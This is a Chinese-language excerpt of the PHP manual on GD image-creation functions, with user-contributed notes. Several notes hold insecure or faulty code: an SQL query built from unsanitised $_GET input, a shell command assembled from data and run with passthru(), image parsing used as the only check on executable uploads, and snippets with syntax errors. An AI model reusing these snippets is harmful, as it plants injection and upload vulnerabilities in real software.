Somewhere especially configure --help should have stated that --with-jpeg-dir is MANDATORY if you want to have JPEG support. And even if you did so, it doesn't mean you'll get it. If it's wrongly configured, no error is going to be output, all you get is "no JPEG support". What's more confusing is when JPEG support is disabled phpinfo won't say "JPEG Support: disabled", but just omit the entry so you won't even realize something is wrong.

If you recompile PHP or gd, make sure:
- rm -f config.cache FIRST
- make clean (this helps A LOT), actually you can just delete modules/gd.*, and every *.o in ext/gd. this part actually gave me the best headache
- ./configure --with-jpeg-dir=/usr/lib OR any other directory which contains the BINARY library of libjpeg
- make, make install

phpinfo should now display jpeg support... good luck.
(you lucky guys who already have PHP 5 installed on your server... you don't have to go through all the mess I had)
cs at kainaw dot com 01-Nov-2004 11:09
The ImageCreateFromJPEG() function is capable of throwing an emalloc() error.  If this happens, the script will die, but the error will be in your error logs.  You should ensure that you have memory available before creating a large image from a jpeg file.
willertan1980 at yahoo dot com 20-Aug-2003 04:14
did you found that sometimes it hang the php when imagecreatefromjpeg() run on bad JPEG. I found that this is cause by the JPEG file U used dont have EOI (end of image)
the FF D9 at the end of your JPEG

JPEG image should start with 0xFFD8 and end with 0xFFD9

// this may help to fix the error
function check_jpeg($f, $fix=false ){
# [070203]
# check for jpeg file header and footer - also try to fix it
    if ( false !== (@$fd = fopen($f, 'r+b' )) ){
        if ( fread($fd,2)==chr(255).chr(216) ){
            fseek ( $fd, -2, SEEK_END );
            if ( fread($fd,2)==chr(255).chr(217) ){
                fclose($fd);
                return true;
            }else{
                if ( $fix && fwrite($fd,chr(255).chr(217)) ){return true;}
                fclose($fd);
                return false;
            }
        }else{fclose($fd); return false;}
    }else{
        return false;
    }
}
bpiere21 at hotmail dot com 29-Jun-2002 06:57
###--- imagecreatefromjpeg only opens JPEG files from your disk.
###--- To load JPEG images from a URL, use the function below.

function LoadJPEG ($imgURL) {

    ##-- Get Image file from Port 80 --##
    $fp = fopen($imgURL, "r");
    $imageFile = fread ($fp, 3000000);
    fclose($fp);

    ##-- Create a temporary file on disk --##
    $tmpfname = tempnam ("/temp", "IMG");

    ##-- Put image data into the temp file --##
    $fp = fopen($tmpfname, "w");
    fwrite($fp, $imageFile);
    fclose($fp);

    ##-- Load Image from Disk with GD library --##
    $im = imagecreatefromjpeg ($tmpfname);

    ##-- Delete Temporary File --##
    unlink($tmpfname);

    ##-- Check for errors --##
    if (!$im) {
        print "Could not create JPEG image $imgURL";
    }

    return $im;
}

$imageData = LoadJPEG("http://www.example.com/example.jpg");

Header( "Content-Type: image/jpeg");

imagejpeg($imageData, '', 100);
dmsales at design-monster dot com 27-Jun-2001 10:17
I just wanted to note here something i found else where that was very helpful to me when using jpeg images.  when using imagecreatefromjpeg()  it can be difficult to allocate new colors.

The work around i found was posted under imagecolorallocate() and prescribes that you first use imagecreate(), allocate colors, and then copy the jpeg into this image.
rodders_plonker at yahoo dot com 21-Jul-2000 08:49
To all those having trouble with a message to the effect of:
CreateImageFromJpeg() not supported in this PHP build
Start by adding --with-jpeg-dir to your ./configure options as I left this out (not knowing I needed it) and I spent the best part of 6 hours trying to compile to get this option. (RH 6.2, PHP 4.0.1pl2, Apache 1.3.12, GD 1.8.3)


由文件或 URL 创建一个新图象。

  • ? imagecreatefromjpeg
  • imagecreatefromstring ?
  • PHP Manual
  • GD 和图像处理 函数
  • 由文件或 URL 创建一个新图象。

imagecreatefrompng

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecreatefrompng — 由文件或 URL 创建一个新图象。

说明

imagecreatefrompng(string $filename): GdImage|false

imagecreatefrompng() 返回图像标识符，代表从指定文件名获得的图像。

Tip

如已启用fopen 包装器，在此函数中， URL 可作为文件名。关于如何指定文件名详见 fopen()。各种 wapper 的不同功能请参见 支持的协议和封装协议，注意其用法及其可提供的预定义变量。

参数

filename

PNG 图像的路径。

返回值

成功后返回图象对象,失败后返回 false。

更新日志

版本 | 说明
8.0.0 | 成功时，此函数现在返回 GDImage 实例；之前返回 resource。

示例

Example #1 在加载 PNG 期间处理错误的示例

<?php
function LoadPNG($imgname)
{
/* Attempt to open */
$im = @imagecreatefrompng($imgname);

/* See if it failed */
if(!$im)
{
/* Create a blank image */
$im = imagecreatetruecolor(150, 30);
$bgc = imagecolorallocate($im, 255, 255, 255);
$tc = imagecolorallocate($im, 0, 0, 0);

imagefilledrectangle($im, 0, 0, 150, 30, $bgc);

/* Output an error message */
imagestring($im, 1, 5, 5, 'Error loading ' . $imgname, $tc);
}

return $im;
}

header('Content-Type: image/png');

$img = LoadPNG('bogus.image');

imagepng($img);
imagedestroy($img);
?>

以上示例的输出类似于：

User Contributed Notes

sageptr at gmail dot com 02-Aug-2021 07:58
Because gd and imagick do not support animated PNG (at this moment), i wrote a simple function to determine if given PNG is APNG or not. It does not validate PNG, only checks whenever "acTL" chunk appears before "IDAT" like the specification says: https://wiki.mozilla.org/APNG_Specification

<?php

function is_apng(string $filename): bool
{
    $f = new \SplFileObject($filename, 'rb');
    $header = $f->fread(8);
    if ($header !== "\x89PNG\r\n\x1A\n") {
        return false;
    }
    while (!$f->eof()) {
        $bytes =  $f->fread(4);
        if (strlen($bytes) < 4) {
            return false;
        }
        $length = unpack('N', $bytes)[1];
        $chunkname = $f->fread(4);
        switch ($chunkname) {
            case 'acTL':
                return true;
            case 'IDAT':
                return false;
        }
        $f->fseek($length + 4, SEEK_CUR);
    }
    return false;
}

?>
katalin at knittedforyou dot com 17-Oct-2017 04:45
I have this code:

if (exif_imagetype($this->img_name) == IMAGETYPE_PNG) {
                try {

                    $this->image = imagecreatefrompng($this->img_name);
                    Error::log('It is a png: '.$this->img_name);
                } catch (Exception $e) {
                    echo "The image file has some strange charachters. Probably not a png image?";
                    $this->image = '';
                    $this->img_name = '';
                }
            }

And I get this error in the error.log:
PHP Unknown error:  imagecreatefrompng(): gd-png: fatal libpng error: Extra compressed data\n in Unknown on line 0

The file that I try to open is a generated .png image which I can open from gimp and Geeqie.

What is the problem? Could you please help me?
Cyrille37 13-Oct-2015 11:00
The image size (width x height) should not exceed INT_MAX ... It's still thrue on a 64 bits computer.
admin at wdfa dot co dot uk 17-Apr-2009 03:06
When using imagecreatepng with alpha blending you will lose the blending.

To over come this use something like the following
<?php
$dstimage=imagecreatetruecolor($width,$height);
$srcimage=imagecreatefrompng($src);
imagecopyresampled($dstimage,$srcimage,0,0,0,0, $width,$height,$width,$height);
?>
Where $width and $height are the width and height of the $src image.

This will create a true colour image then copy the png image to this true colour image and retain alpha blending.
marcos at assl-site dot net 28-Feb-2007 12:23
I had the same problem as jboyd1189 at yahoo dot com but I solve d it allocating more memory dynamically.

Usually the memory_limit var on php.ini is set to 8M. Unfortunately, the required amount of memory to manage a PNG image about 1000x1000 could be bigger !

The approach I used to solve the problem is:

1-Calculate the memory required by the image
2-Set the new memory_limit value
3-Create the PNG image and thumbnail
4-Restore the original value

1-The following value works for me:
$required_memory = Round($width * $height * $size['bits']);

Note that for JPEG the requirements are not the same:
http://es2.php.net/manual/en/function.imagecreatefromjpeg.php#60241

2-Use somthing like:
$new_limit=memory_get_usage() + $required_memory;
ini_set("memory_limit", $new_limit);

4-ini_restore ("memory_limit");
jboyd1189 at yahoo dot com 05-Jul-2006 02:49
I was having a terrible time with the imagecreatefrompng function as it was working perfectly for one image and not at all for another.  After many hours of frustration, I discovered that the problem was the image size (number of pixels).  It appears that the maximum number of pixels this function will process is 1,040,000.  So, be sure that the pixel resolution of the image (eg. 1040 x 1000) does not exceed this value.
07-Jun-2004 04:14
If you're trying to load a translucent png-24 image but are finding an absence of transparency (like it's black), you need to enable alpha channel AND save the setting. I'm new to GD and it took me almost two hours to figure this out.

<?php
$imgPng = imageCreateFromPng($strImagePath);
imageAlphaBlending($imgPng, true);
imageSaveAlpha($imgPng, true);

/* Output image to browser */
header("Content-type: image/png");
imagePng($imgPng);
?>


从字符串的图像流中新建图像

  • ? imagecreatefrompng
  • imagecreatefromtga ?
  • PHP Manual
  • GD 和图像处理 函数
  • 从字符串的图像流中新建图像

imagecreatefromstring

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

imagecreatefromstring — 从字符串的图像流中新建图像

说明

imagecreatefromstring(string $data): GdImage|false

imagecreatefromstring() 返回图像标识符，代表从指定 data 获得的图像。图像格式将自动检测，只要编译的 PHP 支持：JPEG、PNG、GIF、BMP、WBMP、GD2 和 WEBP。

参数

data

包含图像数据的字符串。

返回值

成功时返回图像对象。如果图像类型不支持、数据格式不可识别或者图像已损坏且无法加载，则返回 false。

错误／异常

如果数据格式不可识别，则 imagecreatefromstring() 引发 E_WARNING 级别错误。

更新日志

版本 | 说明
8.0.0 | 成功时，此函数现在返回 GDImage 实例；之前返回 resource。
7.3.0 | 现在支持 WEBP（如果使用的是 libgd）。

示例

Example #1 imagecreatefromstring() 示例

<?php
$data = 'iVBORw0KGgoAAAANSUhEUgAAABwAAAASCAMAAAB/2U7WAAAABl'
. 'BMVEUAAAD///+l2Z/dAAAASUlEQVR4XqWQUQoAIAxC2/0vXZDr'
. 'EX4IJTRkb7lobNUStXsB0jIXIAMSsQnWlsV+wULF4Avk9fLq2r'
. '8a5HSE35Q3eO2XP1A1wQkZSgETvDtKdQAAAABJRU5ErkJggg==';
$data = base64_decode($data);

$im = imagecreatefromstring($data);
if ($im !== false) {
header('Content-Type: image/png');
imagepng($im);
imagedestroy($im);
}
else {
echo 'An error occurred.';
}
?>

以上示例的输出类似于：

参见

  • imagecreatefromjpeg() - 由文件或 URL 创建一个新图象。
  • imagecreatefrompng() - 由文件或 URL 创建一个新图象。
  • imagecreatefromgif() - 由文件或 URL 创建一个新图象。
  • imagecreatetruecolor() - 新建真彩色图像

User Contributed Notes

adeline dot duterre at boxify dot be 17-Dec-2019 04:28
Many websites add, during the conversion from .jpg / .png to base64 some words before the base64 string : "data:image/png;base64,"

If you let them, the PHP function will return an error "Data is not in a recognized format in".

If you have this situation :

$image_string=str_replace("data:image/png;base64,","",$image_string);
$image_string = base64_decode($image_string);
$img = imagecreatefromstring($image_string);
chris at haydenwheeler dot com 28-Aug-2019 01:55
imagecreatefromstring does not appear to support WebP images (tested on PHP 7.2.10, with GD 2.1.0 and GD WebP support enabled)
anon at dude dot com 07-Feb-2016 12:59
[Editor's note: BMP will be supported as of PHP 7.2.0.]

In case it's not obvious from the lack of "imagecreatefrombmp()" in GD, this function cannot handle plain old BMP files either.
hope at it-helps dot com 26-May-2011 04:29
Create an image resource from file, without knowing image type:

<?php
function imagecreatefromfile($imagepath=false) {
    if(!$imagepath || !$is_readable($imagepath) return false;
    return @imagecreatefromstring(file_get_contents($imagepath));
}
$img_resource=imagecreatefromfile($imagepath);
?>
php dot net at phor dot net 25-Oct-2009 11:12
My site allows anonymous uploads to a web-accessible location (that will execute a script if it finds one).

Naturally, I need to verify that only harmless content is accepted. I am expecting only images, so I use:

<?php
  $im = $imagecreatefromstring($USERFILE);
  $valid = ($im != FALSE);
  imagedestroy($im);
  return $valid;
?>
logan at logansbailey dot com 10-Aug-2009 06:00
So you guys don't spend an hour trying to figure out why your script keeps running out of memory when you're using this or the other imagecreatefrom functions.  GD uncompresses the image when you use these functions, and this can lead to your script running out of memory.

If you download a rawimage save it on your computer to jpeg so the file size comes down, GD will automatically convert it to the raw and you can possibly run out of memory.
ville dot jungman at gmail dot com 24-Sep-2008 02:01
While downloading images from internet, it's easiest to let php decide what is the file type. So, forget using imagecreatefromjpg, imagecreatefromgif and imagecreatefrompng. Instead, this is the way to go:

<?php
$src = "http://www.varuste.net/tiedostot/l_ylabanneri.jpg";
$image = imagecreatefromstring(file_get_contents($src));
?>
nfo[NOSPAM] at safernetworks dot net 08-Sep-2008 07:04
The only way I managed to resolve the loading of image files from file data either on local site or from off-site protocols is as follows. I hope this saves someone else the two hours of debugging and looking for good examples.
[PHP]

<?php
$sFile = "http://www.justgreatwine.co.uk/img/vineyard.jpg";
$imagedata = GetFileData($sFile); //load the file in 4k chunks
/*=======THE OUTPUT=========*/
ob_start();
// assuming you have image data in $imagedata
$length = strlen($imagedata);
header('Last-Modified: '.date('r'));
header('Accept-Ranges: bytes');
header('Content-Length: '.$length);
header('Content-Type: image/jpeg');
print($imagedata);
ob_end_flush();
/*======FUNCTIONS USED======*/
function GetFileData($sFilePath){
    $fp = fopen($sFilePath, 'rb') or die('404! Unable to open file!');
    $buf = '';
    while(!feof($fp)){
        $buf .= fgets($fp, 4096);
    }
    fclose($fp);
return $buf; //returns False if failed, else the contents up to FileSize bytes.
}
?>

[/PHP]
Blizzke at gmail dot com 13-Sep-2007 02:21
I use dynamically generated images that require a little touch-up before being displayed. So essentially I do some base work, then store the images in a memory cache (APC), reload the images again from the cache later on "into" GD, do final processing and then display the image.
Since I wanted to avoid a lot of disc access I used the output buffering functions:

<?php
   // Do your image processing stuff

   // Start buffering
   ob_start ( );
   ImageGD ( $hImage );
   $sImage = ob_get_contents ( );
   ob_end_clean ( );

   // Put stuff into cache

   // Reload from cache and recreate image
   $hImage = imagecreatefromstring ( $sImage );

   // Do final editing stuff and output image
?>

Of course this is a condensed example but I just wanted to share the idea.
kanzure at gmail dot com 11-Jul-2006 09:18
Generating graphs in an external program (in this case, gnuplot) may cause problems. This is a solution hacked together in the late hours of night.

<?php
// get the values from, say, a database
$vals = "1 2\\\\n4 8\\\\n"; # etc
// construct the gnuplot_call variable, something like:
$gnuplot_call = "echo \"set term png; plot '<echo -e \\\"$vals\\\" ' ti 'Updated with' with line ; \" | gnuplot";
ob_start();
passthru($gnuplot_call, $gnuplot_call_output);
$image = imagecreatefromstring(ob_get_contents());
ob_end_clean();
imagepng($image); # display
?>
junkmail at pmobl dot com 25-Feb-2006 02:37
I know a lot of people have been having trouble using images from the Sprint PPC6700 with GD.  The jpeg library always thows an error about 16 bytes of extraneous data.  I decided to poke around in a hex editor and found those extraneous bytes occur right at the end of the exif data.

By removing this extraneous data, images can easily be manipulated by GD and the EXIF extension as a normal images.  This also removes any problems using the images with GIMP which must rely on the same jpeg libraries.

Here is a function that will check to see if an image is from the PPC6700 and then remove the extraneous data for you.  The result can successully be used with imagecreatefromstring

Author: Paul Visco
IM: paulsidekick
Created: 2-12-06

function checkFixPPC6700($orig){

    //get the file contents
    $data = file_get_contents($orig);

    //if its a PPC 6700 image cut out the extraneous 16 bits
    if(strstr($data, "\x41\x70\x61\x63\x68\x65\x00\x48")){
//this next line can all be one string I split it up so the form on php.net would accept it
        $bad_data ="\x00\x10\x4A\x46" . "\x49\x46\x00\x01\x01" . "\x00\x00\x01\x00\x01\x00\x00";
        return substr_replace($data, "", strpos($data, $bad_data),
        strlen($bad_data));
    } else {
        //if not from a PPC 6700 return data unaltered
         return $data;
    }

}
kakail at aei dot ca 26-Nov-2005 06:07
I found out that in PHP 4.3.2 and 4.3.4 that the 'imagecreatefromstring' function use a lot of memory when working with big image...
Try this piece of code with a big image (like 1Meg or more)
<?php
$loadFile = "http://bigimage.jpg";//Try with a big image
$im = imagecreatefromstring(file_get_contents($loadFile));
imagejpeg($im);
?>

With a 400k image. I run with a 16M Mem_limit but for a 1.4M image, the mem_limit required jump to more that 32M
alexandrebr at ignorethis dot gmail dot com 28-Aug-2005 05:08
An easy example to help understanding this function...

<?
$loadFile = "http://static.php.net/images/php.gif";

$im = imagecreatefromstring(file_get_contents($loadFile));
// identical to imagecreatefromgif($loadFile);
imagegif($im);
?>

The function will try to auto-determine file format (jpg, gif, png....), and will return false if fails.
paul at epeeps dot net 25-Jul-2005 07:39
I run a blogging site that allowed users to publish images from their cell phones.  For some reason, the nokia 3220 produces jpegs with extrandeous data before the EOF 0xFFF9

I wrote this class to allow you to fix the images so that they can be used with GD to resize and manipulate.  Without applying the fix both GD and gimp report errors for the file.  If basically keeps eating bytes from the junk part till the file is a valid jpeg.  Here is an example bunk pic written by a nokia 3220 that you cna test it with http://www.shawnrider.com/moblog/cache/0854747001121624103.jpg

/*
Author: Paul Visco
Hompage: http://www.elmwoodstrip.com?u=paul
AIM: paulsidekick
Notes:  The file allows you fix the jpegs created by the Nokia 3220 picture phone so that they can be manipulated using the GD library with PHP.

Usage:  Simply instanitiate the class and then call the fix method for each image.
e.g.
$nokia = new nokia;
$nokia->debug ="y";
$nokia->fix("yourpic.jpg");
*/

class nokia
{
    public $file;
    public $debug = "n";
    public $dir_name = "";
    private $img; //the image created from the string
    private $str;

    function fix($file)
    {

        //set the file to fix
        $this->file = $file;

        //load the file into a string
        $this->str = file_get_contents($this->file);

        //test to see if it is a nokia image or if it has been corrupted previously
        if (substr_count($this->str, chr(0x28).chr(0x36).chr(0x28).chr(0x2B)) == 0 || @imagecreatefromstring($this->str))
        {
            if ($this->debug =="y")
            {
                echo "\n<br />".$this->file." is not a corrupted Nokia pic";
            }

            return true;
        }

        //make a directory for fixed images if it doesn't exist and is specified
        if(!empty($this->dir_name) && !is_dir($this->dir_name))
        {
            @mkdir($this->dir_name, 0777);
        }

        //strip out the funk e crap from the file
        $this->eat($this->str);

        //write the file back to itself
        file_put_contents($this->dir_name.$this->file, $this->str);

        //return true for fixed
        return true;

    }

    function eat()
    {

        //check the image
        $this->img = @imagecreatefromstring($this->str);

        //if the image doesn't work then keep striping out crap
        while(!$this->img)
        {
            //cut off the bad bytes one by one
            $this->str= substr_replace($this->str, "", -3, -2);

            //check the image again
            $this->img = @imagecreatefromstring($this->str);
        }

        if ($this->debug =="y")
        {
            //notify the user it's fixed
            echo "\n<br />Nasty bits eaten!! ".$this->file." is fixed now thanks to p:labs!";
        }
        return true;
    }

}
not given 03-Aug-2003 02:14
A note to the previous question (if you still don't know it :))...

GIF's are 256 colors (or 8 bit), and the resample function needs true color I guess... that's why it works with JPG's and not with GIF's.

Next thing... you take a string, write it to file, open the file (imagecreatefromgif), and delete the file again.

if you do imagecreatefromstring($string) you can skip the temporary file part.
shiehj at yahoo dot com 11-Apr-2003 09:44
Here is the code I did to create a thumbnail image from the database blob field. The trick is to use "imagecreatefromstring()" to create an image file.

Jack Shieh

<?php
require("dbconfig.inc");

$id = $_GET['id'];

if($id) {

    $link = @mysql_connect($host, $user, $password) or die("Could not connect: " . mysql_error());
    @mysql_select_db($dbname, $link);

    $query = "select filetype, image from pictures where id = $id";
    $result = @mysql_query($query);

    $data = @mysql_result($result,0,"image");
    $type = @mysql_result($result,0,"filetype");

    Header( "Content-type: $type");

    $size = 150;  // new image width
    $src = imagecreatefromstring($data);
    $width = imagesx($src);
    $height = imagesy($src);
    $aspect_ratio = $height/$width;

    if ($width <= $size) {
      $new_w = $width;
      $new_h = $height;
    } else {
      $new_w = $size;
      $new_h = abs($new_w * $aspect_ratio);
    }

    $img = imagecreatetruecolor($new_w,$new_h);
    imagecopyresized($img,$src,0,0,0,0,$new_w,$new_h,$width,$height);

    // determine image type and send it to the client
    if ($type == "image/pjpeg") {
      imagejpeg($img);
    } else if ($type == "image/x-png") {
      imagepng($img);
    } else if ($type == "image/gif") {
      imagegif($img);
    }
    imagedestroy($img);
    mysql_close($link);
};
?>
adrian_schmidt at yahoo dot com 05-Mar-2003 04:04
I'm trying to get the imagecreatefromstring to work with GIFs. Of course, it won't.
I've read the tips but can't get them to work either.
The following is what I tried, based on above tips:

---

    header('Content-Type: image/gif');
    header('Content-Disposition: inline; filename=file.gif');

    $temp = tmpfile();
    fwrite($temp, $line['image']);
    $src_img = imagecreatefromgif($temp);
    fclose($temp); // this removes the file
    $dst_img = imagecreatetruecolor(100, 100);
    imagecopyresampled($dst_img, $src_img, 0,0,0,0, 100,100, imagesx($src_img), imagesy($src_img));

    imagegif($dst_img);

---

where $line['image'] is the gif as taken from my MySQL database...

If anyone that has been able to make something like this work could give me a working piece of code I'd be really greatful!

I would be great if the tempfile could be excluded too...

Below is a working piece of code for jpeg:

---

    header('Content-Type: image/jpeg');
    header('Content-Disposition: inline; filename=file.jpg');

    $src_img = imagecreatefromstring($line['image']);
    $dst_img = imagecreatetruecolor(100, 100);
    imagecopyresampled($dst_img, $src_img, 0,0,0,0, 100,100, imagesx($src_img), imagesy($src_img));

    imagejpeg($dst_img);


由文件或 URL 创建一个新图象。

  • ? imagecreatefromstring
  • imagecreatefromwbmp ?
  • PHP Manual
  • GD 和图像处理 函数
  • 由文件或 URL 创建一个新图象。

imagecreatefromtga

(PHP 7 >= 7.4.0, PHP 8)

imagecreatefromtga — 由文件或 URL 创建一个新图象。

说明

imagecreatefromtga(string $filename): GdImage|false

imagecreatefromtga() returns an image object representing the image obtained from the given filename.

参数

filename

Path to the Truevision TGA image.

返回值

成功后返回图象对象,失败后返回 false。

更新日志

版本 | 说明
8.0.0 | On success, this function returns a GDImage instance now; previously, a resource was returned.

User Contributed Notes

There are no user contributed notes for this page.


由文件或 URL 创建一个新图象。

  • ? imagecreatefromtga
  • imagecreatefromwebp ?
  • PHP Manual
  • GD 和图像处理 函数
  • 由文件或 URL 创建一个新图象。

imagecreatefromwbmp

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

imagecreatefromwbmp — 由文件或 URL 创建一个新图象。

说明

imagecreatefromwbmp(string $filename): GdImage|false

imagecreatefromwbmp() 返回图像标识符，代表从指定文件名获得的图像。

Note: WBMP 图像是无线位图（Wireless Bitmaps），不是 Windows 位图（Windows Bitmaps）。后者可以用 imagecreatefrombmp() 加载。

Tip

如已启用fopen 包装器，在此函数中， URL 可作为文件名。关于如何指定文件名详见 fopen()。各种 wapper 的不同功能请参见 支持的协议和封装协议，注意其用法及其可提供的预定义变量。

参数

filename

WBMP 图像的路径。

返回值

成功后返回图象对象,失败后返回 false。

更新日志

版本 | 说明
8.0.0 | 成功时，此函数现在返回 GDImage 实例；之前返回 resource。

示例

Example #1 在加载 WBMP 期间处理错误的示例

<?php
function LoadWBMP($imgname)
{
/* Attempt to open */
$im = @imagecreatefromwbmp($imgname);

/* See if it failed */
if(!$im)
{
/* Create a blank image */
$im = imagecreatetruecolor(150, 30);
$bgc = imagecolorallocate($im, 255, 255, 255);
$tc = imagecolorallocate($im, 0, 0, 0);

imagefilledrectangle($im, 0, 0, 150, 30, $bgc);

/* Output an error message */
imagestring($im, 1, 5, 5, 'Error loading ' . $imgname, $tc);
}

return $im;
}

header('Content-Type: image/vnd.wap.wbmp');

$img = LoadWBMP('bogus.image');

imagewbmp($img);
imagedestroy($img);
?>

User Contributed Notes

There are no user contributed notes for this page.


由文件或 URL 创建一个新图象。

  • ? imagecreatefromwbmp
  • imagecreatefromxbm ?
  • PHP Manual
  • GD 和图像处理 函数
  • 由文件或 URL 创建一个新图象。

imagecreatefromwebp

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

imagecreatefromwebp — 由文件或 URL 创建一个新图象。

说明

imagecreatefromwebp(string $filename): GdImage|false

imagecreatefromwebp() 返回图像标识符，代表从指定文件名获得的图像。请注意，无法读取动画 WebP 文件。

Tip

如已启用fopen 包装器，在此函数中， URL 可作为文件名。关于如何指定文件名详见 fopen()。各种 wapper 的不同功能请参见 支持的协议和封装协议，注意其用法及其可提供的预定义变量。

参数

filename

WebP 图像路径。

返回值

成功后返回图象对象,失败后返回 false。

更新日志

版本 | 说明
8.0.0 | 成功时，此函数现在返回 GDImage 实例；之前返回 resource。

示例

Example #1 使用 imagecreatefromwebp() 转换 WebP 图像为 jpeg 图像

<?php
// 加载 WebP 文件
$im = imagecreatefromwebp('./example.webp');

// 以 100% 的质量转换成 jpeg 格式
imagejpeg($im, './example.jpeg', 100);
imagedestroy($im);
?>

User Contributed Notes

kawewong at gmail dot com 23-Jul-2021 09:43
PHP GD and WebP support:

Normal WebP (VP8): supported since PHP 5.4
Transparent WebP or alpha transparency (VP8X, VP8L): supported since PHP 7.0
Animated WebP (VP8X): not supported at all.

You can use the images from here https://developers.google.com/speed/webp/gallery2
here https://ezgif.com/help/alternative-animated-image-formats
and here https://developers.google.com/speed/webp/gallery1

Test with imagecreatefromwebp('your-image.webp'); and see the errors.

You can detect animated or transparent webp using this code.

<?php
/**
 * Get WebP file info.
 *
 * @link https://www.php.net/manual/en/function.pack.php unpack format reference.
 * @link https://developers.google.com/speed/webp/docs/riff_container WebP document.
 * @param string $file
 * @return array|false Return associative array if success, return `false` for otherwise.
 */
function webpinfo($file) {
    if (!is_file($file)) {
        return false;
    } else {
        $file = realpath($file);
    }

    $fp = fopen($file, 'rb');
    if (!$fp) {
        return false;
    }

    $data = fread($fp, 90);

    fclose($fp);
    unset($fp);

    $header_format = 'A4Riff/' . // get n string
        'I1Filesize/' . // get integer (file size but not actual size)
        'A4Webp/' . // get n string
        'A4Vp/' . // get n string
        'A74Chunk';
    $header = unpack($header_format, $data);
    unset($data, $header_format);

    if (!isset($header['Riff']) || strtoupper($header['Riff']) !== 'RIFF') {
        return false;
    }
    if (!isset($header['Webp']) || strtoupper($header['Webp']) !== 'WEBP') {
        return false;
    }
    if (!isset($header['Vp']) || strpos(strtoupper($header['Vp']), 'VP8') === false) {
        return false;
    }

    if (
        strpos(strtoupper($header['Chunk']), 'ANIM') !== false ||
        strpos(strtoupper($header['Chunk']), 'ANMF') !== false
    ) {
        $header['Animation'] = true;
    } else {
        $header['Animation'] = false;
    }

    if (strpos(strtoupper($header['Chunk']), 'ALPH') !== false) {
        $header['Alpha'] = true;
    } else {
        if (strpos(strtoupper($header['Vp']), 'VP8L') !== false) {
            // if it is VP8L, I assume that this image will be transparency
            // as described in https://developers.google.com/speed/webp/docs/riff_container#simple_file_format_lossless
            $header['Alpha'] = true;
        } else {
            $header['Alpha'] = false;
        }
    }

    unset($header['Chunk']);
    return $header;
}// webpinfo
?>

Reference: https://stackoverflow.com/a/68491679/128761

Usage:

<?php
$info = webpinfo('your-image.webp');
if (isset($info['Animation']) && $info['Animation'] === true) {
    echo 'It is animated webp.';
}
if (isset($info['Alpha']) && $info['Alpha'] === true) {
    echo 'It is transparent webp.';
}
?>


由文件或 URL 创建一个新图象。

  • ? imagecreatefromwebp
  • imagecreatefromxpm ?
  • PHP Manual
  • GD 和图像处理 函数
  • 由文件或 URL 创建一个新图象。

imagecreatefromxbm

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

imagecreatefromxbm — 由文件或 URL 创建一个新图象。

说明

imagecreatefromxbm(string $filename): GdImage|false

imagecreatefromxbm() 返回图像标识符，代表从指定文件名获得的图像。

Tip

如已启用fopen 包装器，在此函数中， URL 可作为文件名。关于如何指定文件名详见 fopen()。各种 wapper 的不同功能请参见 支持的协议和封装协议，注意其用法及其可提供的预定义变量。

参数

filename

XBM 图像路径。

返回值

成功后返回图象对象,失败后返回 false。

更新日志

版本 | 说明
8.0.0 | 成功时，此函数现在返回 GDImage 实例；之前返回 resource。

示例

Example #1 使用 imagecreatefromxbm() 转换 XBM 图像为 png 图像

<?php
// Load the xbm file
$xbm = imagecreatefromxbm('./example.xbm');

// Convert it to a png file
imagepng($xbm, './example.png');
imagedestroy($xbm);
?>

User Contributed Notes

There are no user contributed notes for this page.


由文件或 URL 创建一个新图象。

  • ? imagecreatefromxbm
  • imagecreatetruecolor ?
  • PHP Manual
  • GD 和图像处理 函数
  • 由文件或 URL 创建一个新图象。

imagecreatefromxpm

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

imagecreatefromxpm — 由文件或 URL 创建一个新图象。

说明

imagecreatefromxpm(string $filename): GdImage|false

imagecreatefromxpm() 返回图像标识符，代表从指定文件名获得的图像。

Tip

如已启用fopen 包装器，在此函数中， URL 可作为文件名。关于如何指定文件名详见 fopen()。各种 wapper 的不同功能请参见 支持的协议和封装协议，注意其用法及其可提供的预定义变量。

参数

filename

XPM 图像的路径。

返回值

成功后返回图象对象,失败后返回 false。

更新日志

版本 | 说明
8.0.0 | 成功时，此函数现在返回 GDImage 实例；之前返回 resource。

示例

Example #1 使用 imagecreatefromxpm() 创建图像实例

<?php
// Check for XPM support
if(!(imagetypes() & IMG_XPM))
{
die('Support for xpm was not found!');
}

// Create the image instance
$xpm = imagecreatefromxpm('./example.xpm');

// Do image operations here

// PHP has no support for writing xpm images
// so in this case we save the image as a
// jpeg file with 100% quality
imagejpeg($xpm, './example.jpg', 100);
imagedestroy($xpm);
?>

User Contributed Notes

There are no user contributed notes for this page.


新建真彩色图像

  • ? imagecreatefromxpm
  • imagecrop ?
  • PHP Manual
  • GD 和图像处理 函数
  • 新建真彩色图像

imagecreatetruecolor

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagecreatetruecolor — 新建真彩色图像

说明

imagecreatetruecolor(int $width, int $height): GdImage|false

imagecreatetruecolor() 返回图像对象，表示指定大小的黑色图像。

参数

width

图像宽度。

height

图像高度。

返回值

成功后返回图象对象,失败后返回 false。

更新日志

版本 | 说明
8.0.0 | 成功时，此函数现在返回 GDImage 实例；之前返回 resource。

示例

Example #1 新建 GD 图像流并输出图像。

<?php
header ('Content-Type: image/png');
$im = @imagecreatetruecolor(120, 20)
or die('Cannot Initialize new GD image stream');
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, 'A Simple Text String', $text_color);
imagepng($im);
imagedestroy($im);
?>

以上示例的输出类似于：

示例输出：新建 GD 图像流并输出图像。

参见

  • imagedestroy() - 销毁图像
  • imagecreate() - 创建新的基于调色板的图像

User Contributed Notes

Hamza Ahmad 28-Jan-2021 07:23
As of PHP 8, the return type for image creation functions is GdImage instead of a resource. Therefore, people can type hint.
<?php
class MyImage {
private GdImage $img;
};
?>
Similarly, <?php
function save_image(GdImage $img, string $name, string $directory = null) : bool
{
/*...*/
};
?>
smcjones at gmail dot com 18-May-2014 08:51
Please note that if you are receiving a warning about incorrect dimensions in PHP, it could be because your values are being stored as strings. You can use intval() to change a string value into an integer value which will pass the correct information into this function.
jessiedeer at hotmail dot com 24-Aug-2013 05:47
